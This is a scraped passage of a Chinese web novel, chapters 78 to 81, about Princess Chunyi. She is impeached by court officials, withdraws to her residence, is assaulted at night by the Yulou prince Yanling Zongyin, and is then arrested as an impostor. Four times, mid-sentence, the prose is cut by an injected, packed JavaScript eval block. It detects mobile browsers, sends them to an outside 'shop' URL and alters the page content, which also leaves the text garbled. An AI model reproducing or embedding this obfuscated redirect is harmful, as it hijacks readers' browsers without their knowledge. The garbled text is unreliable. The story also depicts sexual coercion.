整整一个下午加一个晚上,户部衙门灯火通明,长公主巍然不动坐在当中,户部大小官吏们自然谁也不敢走,只能大眼瞪小眼地互相耗着。一直耗到第二日朝议时间到,众人纷纷松了口气,暗自庆幸这位难缠的长公主这下是不走也得走了,却没想到她竟然就大喇喇跟在户部官员身后,也一起进宫去了。 急得户部尚书只差跪下喊她姑奶奶了。 而纯懿逼迫了户部一整晚的事,早就在临安老臣新贵的府中传遍了,此刻,看着堂而皇之出现在大殿中的纯懿,不少人都是面露嫌恶,离她老远。徐结登上御座,看到站在最后面的纯懿,很是有些惊讶地扬起了眉头,可还没等他开口询问,一位须发皆白的老臣就率先出列,行大礼跪伏于地,摘下官帽置于一边,颤声道: “圣人云,女子所见所闻不出于闱闼,择贤辨不肖、审是非、度利害,一唯琐琐姻亚之是庸,故临朝未有不乱者也。”老大人胡子气得发抖,苍老的声音在宽敞气派的大殿中回荡,“臣,三朝旧人,左仆射加同平章事李至松,参长公主纯懿牝鸡司晨,插手朝政,祸乱朝纲,还请陛下严查!” 这指控不可谓不严重。徐结皱了眉头,正想先让老大人起身,旁边又一位老臣出列,也将官帽摘下,五体投地,拖长了声调厉声疾呼:“臣,御史台御史大夫明远,附议。” 一位位大人渐次出列,一句句“附议”尾调悠长,在大殿中声声累摞,回荡不绝。到了最后,除了一小半神情严肃的武将,和第一次见识这种场面有些惊慌失措的新入朝官员,剩下的大臣全都叩首于地,纹丝不动,大有徐结不应诺就不起身的架势。 纯懿面容平静看着这一幕,心中却有一种悬在头顶的剑终于落下的轻松之感。 终于来了。在徐结用皇帝权柄,强压着他们将矿务分割给她的时候,她就知道,朝中众臣对她的容忍已到底线,她若再进一步,就一定会有这么一天。 可她不后悔。她坚持插手这件事,就是抱着豁出一切的心态,要为徐结铲除这个毒瘤。 隔着跪倒一地的朝臣,纯懿与徐结的目光相接。纯懿露了个笑容出来,对他微微颔首,徐结的目光却很是不忍,转而看向第一个出头的老大人,竟起身走下御座,亲自去扶他起身:“李大人这是作何,快快请起。” 老大人明显是被纯懿咄咄逼人的态度激怒了,今日是铁了心要夺去她的一切特权,将她彻底赶出朝堂。他丝毫不理会主动示好的徐结,身子颤颤巍巍摇晃着,双膝却像钉在了地上一样,坚定重复道:“还请陛下严查!” 怀柔无效,徐结又转身走向一个年轻一些的官员,横眉冷目恐吓道:“王大人是工部新人,也要跟着凑热闹吗?” 那年轻官员抬起头,满脸无畏:“臣虽是新人,但深觉老大人们目光卓绝,愿誓死跟随前辈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387944|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进言,请陛下彻查!” 软硬不吃,他们今日是一定要个结果了。 就在场面一边倒的时候,忽然,一道凌冽的男声插了进来,打破了君臣对峙的沉重氛围。陈东大步出列,双膝跪地,也将官帽放在一旁,开口却是:“在臣看来,长公主所做桩桩件件,都是为我南庆着想,不含一点私心,只是公主年级尚轻,经验不足,行事有些急切罢了,却还担不起如此罪名。” 跪在旁边的秦宋抬头,厉声喝道:“陈东!” 陈东满脸倔强,回视着自己的顶头上司:“既然是朝议,自然要议。各位大人已说明白自己的意见,我不过也只是说出自己的看法而已。难不成我南庆朝堂,只许你们开口,就容不得其他声音了吗?” 被当廷辩驳,秦宋脸涨得通红,正要动用长官的权限喝令陈东退下时,又一道声音斜插而入,声如洪钟。轻易就盖过了秦宋的声音: “我是个粗人,说不出什么圣人的道理来,但是我老张知道,长公主提的招募新兵、锻造军械,都是实在的大好事,军中谁不说长公主好!我老张觉得,长公主不仅没罪,反而有功哩!” 武将竟然也在朝堂上说话了,还明晃晃跟他们对着干,果真是这个长公主给他们脸了!文臣们更加气愤,立刻就有人出声嘲讽:“这是政事,不是军事,张将军还是快闭嘴吧。” 五大三粗的张将军顿时火大。他学不来口蜜腹剑那种做派,声音登时又大了几分,震得纯懿耳朵“嗡嗡”直响:“咋,真不让咱们说话了?陛下还在这儿呢,你算老几,轮得到你来教训人吗?” 可张将军只是声音大、气势足,论起耍嘴皮子,自然不是文官们的对手,眼看着张将军要落败,一直被文臣压着一头的武官们纷纷出声支援。他们思想简单,语言更简单,一句一句的大白话硬邦邦往出甩,说到急眼了,连军中粗语都爆出来了,句句朝着文官们的祖宗十八代问候。 文官们在吵架方面还从没认过输,立刻还击。两方争执不休,吵闹升级成辱骂,辱骂升级成推搡,推搡升级成打斗,打斗又升级成互殴。到了最后,双方直接混战在一起,你掐着我,我压着你,还有把鞋子脱下来揍人的,好好的一个朝议场,竟乱成一锅粥,就连禁卫军来维持秩序,都被裹挟进人潮中,如飘萍一般被推到这里又拽到那里。 徐结额上青筋不住跳动。终于,他实在忍不住了,大喝一声:“你们这是要党争,要造反吗?!” “造反”二字一出,全场皆静。大家互相看看对方的狼狈模样,急忙撒开还扯着对方领子的手,慌乱跪倒在地:“臣不敢!” 而对站在一旁的纯懿来说,“造反”二字的冲击,远不如“党争”二字的冲击大。 她猛然醒悟:现在虞娄对南庆虎视眈眈,朝中的各项改革都到了关键时候,如果现在放弃,之前的努力全都功亏一篑。眼前最要紧的,是要上下一心,富国强兵,如果南庆内部还纷争不休,党争内斗,简直是在自取灭亡! 如果朝臣因她而产生纷争,她走就是。反正还有皇兄在,他一直那么支持她,她可以放心的将一切都交托给他…… 想明白了其中关系,纯懿也不再犹豫。一片寂静中,她缓缓上前,对着徐结行礼。 “各位大人不必因纯懿而动气。”她姿态优美,神情平静,语气甚至可以称得上温柔,对着徐结微笑,“既然如此,皇兄,我愿交出所有权责,退回公主府,再不参与政事。还请皇兄应允。” 79. 第 79 章 交出所有印信和权责之后,纯懿的生活忽然就慢了下来。她不用再每日盯着陆家军操练,也不用再处理从各地传来的繁杂信息,更不用烦心今日又有人骂她或是参奏她,她只需要照顾好陆双昂,再照顾好自己,没什么大事再不出府,似乎又成为了当年刚回临安、深居浅出的纯懿帝姬。 贤宁和永嘉经常来看她,将外面的消息事无巨细带给她听。正如纯懿所料,因着她已退让,朝臣们也就没了发难的理由,户部将账册交了出来,徐结正在着人暗中查探,准备等彻底摸清了贪墨军费的情况和牵涉入内的一干人等,就正式彻查。 而之前她搞得那些工程矿务军械等一干事项也都在徐结的默认中保留了下来,分别由徐结亲自指派的心腹接手,运行也都很顺利。 最让纯懿松了口气的是,包括贤宁、永嘉、余晚飞和徐东在内,与她关系密切的人并没有受她牵累。贤宁仍旧代陆双昂执掌着陆家军,由余晚飞顶替了纯懿在旁协助,徐东也依旧做着他的礼部员外郎,就是与秦宋的关系变得有些紧张。 “找个时间我进宫一趟,去找皇兄说说吧,”纯懿叹气,“秦宋多精明的人啊,他现在不发难,不过是还没摸清皇兄的态度,趁着这段时间,我还是让皇兄给徐东换个位置吧。” 贤宁心直口快:“不是暂避风头吗?纯懿姐姐不准备再出山了?” “出什么出,我看你搞这一通,也差不多了。”永嘉白贤宁一眼,娇娇俏俏的,“累死累活逃回来,不就是为了活得轻松一些吗?还要继续累死累活给陛下干活,你是不是傻。” 永嘉还是那样,顶着最甜美的一张脸,说着最冷静的话。纯懿和贤宁对视一眼,都笑了。 “我是认真的,”永嘉一边吃着果子,一边满脸严肃,“纯懿,反正现在你也与我一样无所事事,不如咱们一起出京游山玩水去吧。之前一直在汴京,后面又到上京,我真是受够北边了。咱们出临安一路向南,最后去海边看看,若是喜欢,就在那边多待一段时间,若是再喜欢,咱们就留在那边不回来了,怎么样?” 这般对话莫名有些熟悉,纯懿恍然觉得自己又回到了景康二年的那次夏趣雅集。那个时候,她们一群娘子聚在一起,也是这么讨论着“汴京暑热,北边凉爽”,她说以后想去北边看看,显德打趣她的笑声尤其爽朗,那般花团锦簇的热闹景象还历历在目。 却没想到,一语成谶。转眼间,汴京残垣断壁,显德红颜枯骨,她们真的去了北边,去到那个冬季白雪茫茫、寒风杀人的地方,然后连梦里都是南归。 纯懿恍惚片刻,才笑着开口:“我不去了,我要在这里陪着昂哥哥。你若是去,记得帮我把那几个矿山都绕一圈,回来讲给我听啊。” 永嘉又白纯懿一眼,没好气的:“让我给你去当巡抚啊?你那矿山都在什么偏僻地方,你自己心里没点儿数吗?我告诉你,你自个儿不去却让我去找罪受,那不能够!” 贤宁吐了吐舌头,学着永嘉的样子:“那不能够!” 永嘉抄起手边一个果子就朝着贤宁砸过去,贤宁着急忙慌往纯懿身后躲。纯懿一手拉着这个,一手挽着那个,三个娘子笑闹成一团。 永嘉嘴里说着“不能够”,最后还是离开了,离开之前,她还专门派人给纯懿送来一封信,信里将纯懿狠狠骂了一通,最后才状若无意地问她,她那几个矿井都开在哪儿了。 纯懿将永嘉的信读给陆双昂听,自个儿乐了半天,然后给她回信,除了告诉了她矿井的位置和路线,还不忘叮嘱她过去的路上要小心。 永嘉的信很快就回来,只十几个字,却占满了信笺:“要是顺路,我就去逛逛,我可没答应你我要过去啊。” 又让纯懿笑了半天。 永嘉离开了临安,去奔赴她的山川大海,贤宁似乎也忙了起来,来看她的时间隔得越来越长。幸亏纯懿一直都是一个很会自得其乐的人,她们不来了,她就自己照顾自己,今日打理园子,明日看书作画,将自己的时间安排的满满的,丝毫不觉难熬。 等她恍然发觉,已经许久没有人来公主府拜访她的时候,又过了一月有余。 纯懿不觉皱了眉头。她抬眼四顾,周围侍候的都是她熟悉的公主府面孔,竟然没有一个府外之人,甚至因为她久不见外人,连府外的消息也已经断了许久了。 纯懿忽然就觉得不对劲儿起来。不说别人,就说贤宁,她就是再忙,也不会这么久了连面都不露一个。 她想了想,站起身来,手里端着一壶刚煎的茶,朝着府门处走去。 一路倒是没有人拦她,只是随着她越靠近门口,跟在她身后的人越来越多,甚至两边还远远围了不少公主府的女使亲卫,看起来却不像是在看热闹,反而满脸警惕,似乎在提防什么似的。 纯懿的心渐渐沉了下去。她走到门口,大力推开府门。 一副簇新的、紧闭的门扇出现在她面前。 纯懿怔了一下。她转身,脸色暗沉,对着围拢过来的门口岗卫道:“吾竟不知道,吾这长公主府什么时候又多加了一道门?” 小头领先对着纯懿恭敬行礼,然后才躬身回答:“回长公主的话,陛下担心朝中大人们对长公主不利,特意在长公主府外加设了一道外墙,为的是保护长公主的安全。” “皇兄安排的?” 得到了小头领肯定的答复,纯懿心头先是一松,可很快,却觉得还有哪里不太对。 她道:“开门,吾要进宫拜谢皇兄。” 那小头领也没反驳,立刻应下了纯懿的要求,却仍站在门口半步不退,不卑不亢道:“今日天色已晚,现在派人入宫禀报再回来接您,怕是时间不太赶趟。长公主稍安勿躁,卑职这就派人进宫通禀,告知陛下您将于明日入宫拜见,长公主意下如何?” 这位小头领说话条理清晰,句句都为她着想,态度也极好,好到纯懿想大发脾气都不行。 反正只一晚上,明日她倒要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409118|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看看,他们还会用什么理由来阻拦她。 纯懿视线盯着那小头领看了许久,又在新立的大门处瞟上一眼,后退了半步:“那好,那我明日一早就出发,麻烦你今日入宫通禀吧。” “是。”小头领又恭敬应下,然后扬声吩咐女使们扶着纯懿回屋歇息。 因着种种异样,纯懿今晚少见地失眠了。她在床上翻来覆去了许久,对明天可能出现的情况做了万般设想,一直到外面传来二更的更漏声,她这才在陆双昂脸颊上落下一吻,强迫自己闭上眼睛。 明日还不知是何情况,今晚她得好好休息,养精蓄锐才行。 纯懿迷迷糊糊坠入梦乡,半梦半醒中,忽然,她只觉自己浑身一暖,已经落入了一个炙热的怀抱。躺在她身边的人张开双臂,将她紧紧揉入怀中,力道大得像是久别重逢、情难自已。紧接着,一抹濡湿落在她的额头上,像蜻蜓点水一般,顺着她的眼睫、鼻梁一路而下,最终停在她的双唇之上,辗转研磨,温柔吮吸。 开始时,这吻还算温柔,可越到后来,越来越狂野,越来越孟浪。一只大掌将她的下颌强制抬起,让她避无可避,躲无可躲,甚至连呼吸都被掌控在他唇齿之间,只能被迫跟随他的节奏喘息。 这般的热情缱绻,仿若回到了他们新婚那时,陆双昂等待了许久,终于将自己深爱的娘子娶进了家门。他又是少年血热的年纪,经常是折腾半晚之后,纯懿已经累极睡去,他却还精神的很,就一直这般搂着她,贪婪地看着她的面庞。 看着看着,少年自己就又情动,有时实在控制不住,便会将她闹醒,再来一场荒唐。 纯懿不由就带上了些笑容。她扭头躲开那在她面上流连的双唇,伸臂去轻轻搡他:“别闹了,昂哥哥。” 短暂的停顿之后,那人忽然卷土重来。这一次,两片单薄的唇瓣格外凶猛,在她柔嫩的唇上撕咬拉扯,将她浅粉色的唇瓣蹂躏成了艳红色还不肯罢休。他一只大掌箍着她的下巴,另一只手强握着她两只细瘦的手腕,轻轻一提就将她双手压在头顶,方便他将整个身子都密密实实覆在她身上,甚至还恶意地卸去了撑着自己身体的力气,让她感受到沉重的压力。 纯懿只觉今日的陆双昂与往常不同,格外强势与暴戾,正想要问问他是怎么了,手触到坚实的床柱,忽然脑子一凉,神志顿时回笼。 陆双昂昏迷许久,哪里能压着她做这般事情…… 纯懿猛然睁开眼。 悬于她身上的男人有着一张英俊的脸。他下颌线条锋利,五官轮廓硬朗,一双眸子黑若深潭,薄薄的唇唇角微翘,扯着一个嘲讽的弧度。对上她忽然大睁的眼眸,他好整以暇半支起身,撑着下巴,悠闲欣赏着她渐渐露出惊恐的神情,然后又俯下身,不顾她的挣扎和反抗,在她唇上狠狠一咬。 “好久不见了,过得好吗?”延陵宗隐额上的金属额饰在月光下闪着冰冷的寒光,映在他隐隐带着些疯狂的的眸底,慢慢道,“纯懿帝姬?” 80. 第 80 章 “听说你过得不错啊,”延陵宗隐炙热的气息喷洒在纯懿面上,以一种不容拒绝的强势禁锢着纯懿的身子,“纯懿帝姬……不,现在应该称呼你纯懿长公主了。听说你在南庆手握大权,逼得一干老臣联合起来长跪不起,哭天喊地的,气派得很啊。” 他笑着在纯懿唇上又印下一吻,挑眉:“你怎么不问问我过得好不好?” 纯懿现在已经完全清醒了。她一双眼睛瞪得大大的,怒视着延陵宗隐,紧抿着唇不开口,摆明一副不愿合作的态度。 延陵宗隐面上很是好整以暇,他轻笑着埋下头,微微用了些力道,咬纯懿唇瓣一口:“不说?” 然后又是一口:“还不说?” 他一次比一次大力,停留辗转的时间也越来越长,到了最后,甚至有些沉醉地将纯懿的唇瓣抿入口中吮磨许久,才恋恋不舍地放开,笑得如同偷了腥的大猫:“你就一直犟着,爷不着急。” 纯懿是看出来了,延陵宗隐是打算一直这样无赖,直到她遂了他的心意为止。 若是换了之前,她这样一直负隅抵抗,恐怕他早就冷着脸皱着眉,一副要吃人的样子了。今日这般举动,虽不像之前那样狂风暴雨的狠厉,却不知怎地,反而更让纯懿心里没底,总是怀疑他的面具之下藏着怎样一副别有用心。 可最后还是抵不住他的无耻。纯懿隐忍了许久,终于在被迫发出几声羞人的嘤咛之后,很是不情愿地开口:“那你过得怎么样?” 延陵宗隐心满意足地咧唇笑了。他松开对纯懿双手的桎梏,将自己的胳膊支在纯懿单薄的肩头旁,用贲张的肌肉分担了自己的体重,给纯懿一些喘息之机,懒洋洋的:“我啊,过得不太好。他们都嘲笑我一世英名,最后被你耍的团团转。我被褫夺了权力,声名扫地……” 他笑着用手指整理着纯懿额上碎发,将它们仔仔细细拨到耳后,然后将唇凑近纯懿耳侧,几乎是气音:“不过比你好的是,我已经能从府里走出来了,不像你,倒是被软禁在府里,哪里都去不得。” “你说说你,明明废了大力气,好不容易才回了你心心念念的故国,怎么把日子过成这样?”延陵宗隐叹气,摇摇头,似乎很是感慨,“真是可怜。” 纯懿心气不顺,立刻反唇相讥:“我骗你,耍你,栽赃你,让你被褫夺了权力,声名扫地,你竟然还可怜我?现在还潜入我南庆公主府对我做这种事?延陵宗隐,你是不是有受虐癖好啊?” 延陵宗隐面不改色,甚至表情里还带上了些有意的挑衅来:“怎的,纯懿公主有施虐癖好吗?” 纯懿气结。她恨恨一推延陵宗隐宽阔的肩膀,明明在他面前是蚍蜉撼树般的力气,可延陵宗隐却像是逗她玩儿似的,装作一副弱不禁风的模样,随着她的力道,衔着恶劣的笑容后仰身子。 就在他这一个仰起间,纯懿眼尖地瞥见了仰面躺在地上的陆双昂。他身上仍穿着睡前她亲手为他换上的里衣,单薄柔软,整洁干净,此刻前襟却敞开了个大口子,露着一大片白皙的胸膛,甚至脖颈处的布料已经皱成了一团,明显是被人粗暴拽着领子从床上拖下去的。 纯懿立刻挣扎起来,拼命要朝着床下扑去。这一次,她是真的使尽了全身的力气,又是踢踹又是抓挠的,在延陵宗隐的脖颈上划出好几条红痕。 延陵宗隐看出了纯懿的目的。他眸光也朝着陆双昂那边瞥了一眼,黑眸中风暴积聚,戾气四溢,转而看向纯懿时,却用笑意将那股想要杀人的嗜血冲动仔细掩盖。 他重新用自己的身体压制住纯懿,放任她在身下扭动挣扎,却不给她丝毫能挣脱的机会:“这么热情?” “看来没了我,纯懿公主是寂寞了许久,迫不及待了。”延陵宗隐垂脸贴近纯懿的脸颊,黑眸紧紧盯着纯懿湿润的眸子,鼻尖相触,声音喑哑,饶有深意地道,“管好你的小爪子,要不然,我就让你握些别的东西……” 一边说着,一只大手已经威胁似的搭上了纯懿在挣扎中已经微微敞开的前襟。 纯懿向来会被延陵宗隐的无耻程度所打败。她惶然扭头,避开延陵宗隐满含侵略的视线,努力去找再次被延陵宗隐挡住的陆双昂:“这里是南庆!我的亲卫就在屋外,我的驸马就在旁边……” “那你别逼我在他面前碰你。”延陵宗隐扣住纯懿的下颌,强行将她的脸扭了回来,逼她迎上自己的视线,挑眉提议,“我倒是觉得这样很刺激,从很久之前就很想试一试了。就是不知道长公主你会不会喜欢?” “你!”纯懿怒极,正要一不做二不休,拼着被他先一步扭断脖子的可能,也要让人来杀了他,忽然,外面遥遥传来一阵喧哗之声。接着,繁杂的脚步声越来越近,明晃晃的火光也越来越亮,显然是亲卫们发觉了异样,列队赶来了。 “长公主?”门口一个男声传来,是那个晚间才见过的小头领。 两人都侧脸看向门口。纯懿心下大安,胆子也大了起来,学着延陵宗隐的样子,用细瘦的手指扣住他粗粝的下颌,强行将他的脸掰了回来,很是有些挑衅地低声建议: “二太子还是赶快藏身吧。你若是在我公主府被砍杀当场,别说你现在被指指点点,就是身后名声恐怕也保不住了。” 延陵宗隐挑眉。他第一次被女人掐住下颌,看着眼前的纯懿一副有了靠山的神气表情,不由有些好笑。他越看她这张牙舞爪的样子越喜欢,在门外小头领的询问声中,他将纯懿捏在他下颌的纤细手腕握在掌中,俯身又衔着她的双唇碾压半晌,这才心满意足地撒开手。 “你摆脱不了我的。不会很久了。” 延陵宗隐就如同来时一般,丢下一句赌咒般的话,潇洒离开了。 纯懿不明白他最后一句是什么意思,还没来得及细细思索,门外小头领的声音再次响起,这次明显带上了警惕之意:“长公主?您在里面吗?” 纯懿急忙起身,先忙着去搀扶横躺在地上的陆双昂,一边扬声道:“我没事。你放心,回去吧。” 终于听到了纯懿的声音,那小头领似乎松了口气,却还是很谨慎地道:“长公主您醒了吗?如果您无碍,能否麻烦您出门来露个面,也好让卑职等放心?” 这人,倒是很尽职尽责。 纯懿颇有些无奈,可念着他们也是一番好心,便扬声让他们稍等。然后,她小心扶着陆双昂重新躺回床榻,又很是心疼地轻抚他明显潮红了许多的脸颊,内疚道:“昂哥哥,对不起,刚才摔疼了吧?你放心,我明日就进宫找皇兄,皇兄一定能派人将他抓回来的。” 只等了这一会儿的功夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426014|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,门外的小头领又在催促了。纯懿将陆双昂的手放入被衾中,看着他紧闭的双眼,像是对着他含笑的眼眸一般,微笑着交代:“昂哥哥你稍等,我出去一下,一会儿回来就帮你换衣裳。” 纯懿起身,步伐匆匆朝着门外走去,也就错过了被角之下,陆双昂微微回勾一下的指尖。 “我没事……”纯懿整理了衣衫,带着惯常的温婉笑容推开屋门,待看清门外情形,却不由一个愣怔。门外密密麻麻站满了兵士,各个披甲持剑,将她的屋子围的水泄不通,气氛甚至称得上是剑拔弩张,着实是大阵仗。 纯懿敏感地察觉到,这似乎并不像仅仅是发现她可能有危险的场面。她最后的一个“事”字吞进了喉咙中,视线在众人面前扫过,最后定格在站在最前的小头领面前:“你这是什么意思?半夜来将吾喊醒出门,就是让吾看你的兵剑的吗?” 刚刚还语气严肃的小头领此时侧退一步,他恭顺行礼,却不是对着纯懿,而是对着他退开后,才从阴影中显露出身形的人。 那人年龄已过五旬,却精明强干,就是大半夜的出现在这里,也是精神烁烁。此刻,他的脸上带着舒畅的笑容,越过小头领缓缓迈步上前,一直走到纯懿身前才停下脚步。 往常,他见了纯懿从来都是礼数周到,而今日,他已站在纯懿面前,却依旧神情倨傲,双手负于身后,一双眼睛毫不避讳地上下打量着她,那视线无礼又冒犯,让纯懿不由皱了眉。 她实在没想到秦宋会深夜出现在这里。在他这般的目光下,纯懿很是不快,厉声道:“秦大人夜闯长公主府,见了吾也不下跪行礼,这是什么意思?!” 秦宋仿若没听到她的质问似的,赤裸裸的视线仍旧直白地在她身上逡巡。在纯懿已经压抑不住怒火,就要亲自去抽剑的时候,他忽然嗤笑一声,笑容里满是轻慢,再没有了之前的恭敬。 “下跪行礼?对谁,长公主您吗?”秦宋脸上带着明显的快意,昂着下巴,刻意咬重了“长公主”三字,语气中满是讥讽,“呵,别是野鸡装凤凰装的久了,连自己都信了吧。还长公主,你真是长公主吗?” 说罢,他微一侧脸,对着身后的护卫们云淡风轻地吩咐:“将这个胆敢假冒公主的贱妇拿下!” 得了命令,周围的兵士们顿时一拥而上,也不顾身份之别,动作粗暴地将纯懿的双臂扭转到身后,强压着她俯下身子,下手之干脆粗重,甚至比之延陵宗隐还毫不留情。 纯懿被突然押住,脊背痛得快断掉似的,还有些没回过神来。她在众位兵士的控制下努力昂起头,对着秦宋喝道:“秦宋!你疯了不成?大半夜的说什么胡话!吾是无上皇十五女,太上皇亲妹,谁敢说吾是假冒的!” “还嘴硬?真是冥顽不灵!”秦宋看着纯懿的目光中没有一丝怜悯,反而满是大仇得报般的快意,“你借口说你是从北边逃回来的,你难道就没想过,若有一日真有人从北边回朝,你要怎么办?” 短暂的怔忪之后,想明白秦宋话中深意,纯懿下意识追问:“谁?谁从北边回来了?” 秦宋笑容愉悦,却闭唇不语。欣赏了好一会儿纯懿的狼狈样子之后,他才施恩一般开口:“太后娘娘回朝了。至于你……” 他摇头,笑着道:“你装不下去了。” 81. 第 81 章 纯懿从来没有来过大理寺。大理寺监牢建在半地下,纯懿被关的监室石壁寒凉,在夜里湿冷入骨。她身上还穿着入睡时的轻薄寝衣,仅为着出门见人,在外面搭了一条披巾,现在,却成了她唯一可以用于保暖的衣裳。 纯懿紧了紧披巾,双臂环抱着双膝,将自己缩成一个小团,倚靠在监室角落里出神。 临安朝廷所说的太后并不是她的母亲或是嫂子,而是南庆新帝徐结的母亲。她作为嫁入旁系宗室的贵女,在汴京没有享到多少徐姓皇族嫡支的优待,反而没能逃过景康二年的那场浩劫,被虞娄人一起掳掠出京,踏上了北狩的路。 离开汴京之后,北迁的一路上,大庆娘子们死的死,散的散,纯懿自顾不暇,也没有刻意关注这位魏氏王妃的下落。还是在回到南庆,见到徐结之后,纯懿才对这位本是皇族远支、被徐结遥封成为太后的魏氏上了些心,打听到她在被封为太后后,就随着二帝一起迁往了五国城,然后就没了什么消息。 却没想到,她也突然回来了。 可她与这位魏氏无冤无仇,甚至可以说,她们是整个临安最懂彼此的人,纯懿实在想不明白,魏氏为什么要指认她是假冒的公主? 又想到在今夜突然出现的延陵宗隐,如此巧合,由不得纯懿不多想。 她心里隐隐有一个疯狂的猜测,却实在找不到一个能让他这样做的合理理由,脑中思绪纷乱,只觉眼前迷雾笼罩,看不清前面的路。最后,她只能埋首于交叠的臂弯之中,从自己身上汲取温暖,枯坐至天明。 天刚一亮,纯懿就被绑到了朝议大殿之上。 她独自跪在大殿正中,周围的朝臣对她指指点点,小声议论着。之前与她起过冲突的文臣们各个昂首挺胸,脸上带着明显的幸灾乐祸,抱着双臂,好整以暇等着看她的下场。一些武将和新入朝的官员则面色凝重,视线复杂,上上下下打量着纯懿,仿佛是想要用眼睛生生看出她的真假似的。 在各色视线之中,纯懿微微动了动僵直疼痛的双腿,面容平静挺直了脊梁,维持着她作为大庆公主的尊严。 三声钟声传来,然后是一阵脚步声,徐结的身影出现在御座旁。 自从纯懿退回公主府,她已经许久没有见过徐结了,而这次,他清隽的面容上带着笑容,行为举止都是从没见过的谦恭,小心翼翼陪在一位衣衫华丽的妇人身边。众目睽睽之下,他将那位妇人扶到御座下手一把金灿灿的金椅上,先照顾着妇人坐定,这才回身踏上御座,沉声道:“开始吧。” 夏内侍微不可查地瞟纯懿一眼,上前一步,拖长了声调喊道:“万岁!” 众臣三呼万岁之后,朝议正式开始。 今日朝议的大事,自然是真假公主一案。 纯懿有底气,也不畏惧,面对以秦宋为首的礼部刁难,全都有条有理一一驳斥回去,几次将秦宋等礼部官员说得哑口无言。到了最后,礼部几人甚至有些气急败坏,眼看着就要失了仪态,被徐结厉声喝退之时,还不忘留下一句硬邦邦的“此妇身份有疑,还请陛下明察”。 礼部狼狈退下,又换了宗正寺的人上来。老宗亲们颤颤巍巍绕着纯懿审视半天,用些皇族旧事来考问纯懿,甚至最后还请上几位老宗妇,将纯懿带到内室,私下问了许多宫闱私密。 这些旧事旧规,大部分纯懿都是知道的,字字句句说的清清楚楚,也有一些纯懿没有听说,也不怀疑自省,大大方方直说自己不知情,间或还能抓到他们不知是无心还是故意露出的错处,一一纠正过来。 最后,那些宗亲和宗妇们商议许久,才颤颤巍巍来回禀徐结,小心谨慎说纯懿“知之甚详,应该是真。” 礼部和宗正寺的结论相悖,这下,事情的真相更加扑朔迷离。在越来越大的私语声中,徐结皱了眉头,正要开口说话,一道沙哑的声音却忽然横插进来,压过一殿议论。 “本宫也有话说。” 自从进殿就一直安静坐于金座之上,老神在在闭目养神的魏太后终于睁开了双眼。纯懿已经不太记得魏氏在汴京时的模样,面前这位妇人虽然花冠高耸,衣衫华贵,整个人却黑瘦纤弱,脸上刻着许多施了粉都遮不住的纹路,让她陡然增长了不少年岁,让纯懿又想到上京凌冽的风。 她浑浊的目光投在纯懿身上,看了她许久,里面有打量,有怜悯,还有许多纯懿看不懂的复杂神情。最后,她终于从纯懿身上移开视线,平静开口:“纯懿帝姬被虞娄大王赐婚给一名叫做阿上的灯铺小伙儿,虞娄太子延陵宗隽就是在他们两人的大婚之夜遇刺身亡的。” 众人一阵哗然。虞娄太子延陵宗隽被人杀了,这事儿他们都知道,也听说了最大嫌疑人是二太子延陵宗隐,可却没人听说过,他竟然是在自家纯懿公主的婚仪上遇刺的。 魏太后仿佛没听到众人的私语。她神色不动,语气平静,却又扔下一个惊雷:“那天晚上死了很多人,包括纯懿帝姬。” 此话一出,殿内忽然陷入一片诡异的寂静。没有人敢再开口,甚至连衣袂摩擦声都没有了,大殿上落针可闻,只有魏太后漠然的声音回荡在每个人的耳边:“此事是本宫在虞娄亲身经历,甚至还远远看过一眼纯懿帝姬的坟茔。纯懿帝姬已惨死在虞娄,这个人……” 她重新将视线落在纯懿身上,忽而抬臂,一根手指直直指向纯懿:“必是假的无疑!” 短暂的静寂之后,殿内犹如沸水开了锅。刚刚还气愤不已的礼部官员们纷纷大声附和着:“没错!听闻纯懿帝姬从小温婉至善,恪守德行,对政事从不感兴趣,而此人作风这般强势,四处插手朝政,还当众逼迫朝廷大臣,一点儿教养规矩都没有,怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437527|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能是纯懿帝姬!” 